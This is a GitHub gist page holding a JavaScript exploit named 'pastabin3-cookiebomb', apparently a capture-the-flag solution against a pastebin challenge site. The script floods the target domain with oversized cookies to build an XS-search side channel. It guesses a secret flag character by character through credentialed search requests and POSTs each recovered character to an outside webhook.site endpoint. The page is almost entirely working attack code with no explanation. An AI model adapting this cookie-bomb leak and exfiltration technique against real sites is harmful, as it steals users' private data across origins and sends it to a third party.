-
-
Save parrot409/6782796ba9be2088a57a679c27f4e037 to your computer and use it in GitHub Desktop.
pastabin3-cookiebomb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
document.cookie = 'wow1=' + 'A'.repeat(2000) + '; path=/;domain=.pastebin-3.mc.ax;'; | |
document.cookie = 'wow2=' + 'A'.repeat(2000) + '; path=/;domain=.pastebin-3.mc.ax;'; | |
document.cookie = 'wow3=' + 'A'.repeat(2000) + '; path=/;domain=.pastebin-3.mc.ax;'; | |
var base = "flag{c"; | |
var searchAlphabet = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}-"; | |
function tryWord(idx) { | |
if (idx >= searchAlphabet.length) throw "ENDED"; | |
document.cookie = 'wow4=' + 'A'.repeat(1900) + '; path=/;domain=.pastebin-3.mc.ax; ' | |
fetch("https://pastebin-3.mc.ax/home", { | |
mode: "no-cors", | |
credentials: "include" | |
}).then(r => { | |
fetch(`https://pastebin-3.mc.ax/search?query=${base}${searchAlphabet[idx]}`, { | |
mode: "no-cors", | |
credentials: "include" | |
}).finally(r => { | |
document.cookie = 'wow4=' + 'A'.repeat(1950) + '; path=/;domain=.pastebin-3.mc.ax; ' | |
let script = document.createElement('script'); | |
script.src = "https://pastebin-3.mc.ax/home"; | |
script.onload = (e) => { | |
tryWord(idx + 1); | |
} | |
script.onerror = (e) => { | |
fetch("https://webhook.site/AA", { | |
method: "POST", | |
body: base + searchAlphabet[idx], | |
mode: "no-cors" | |
}); | |
base += searchAlphabet[idx]; | |
tryWord(0); | |
}; | |
document.body.appendChild(script); | |
}); | |
}); | |
} | |
tryWord(0); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment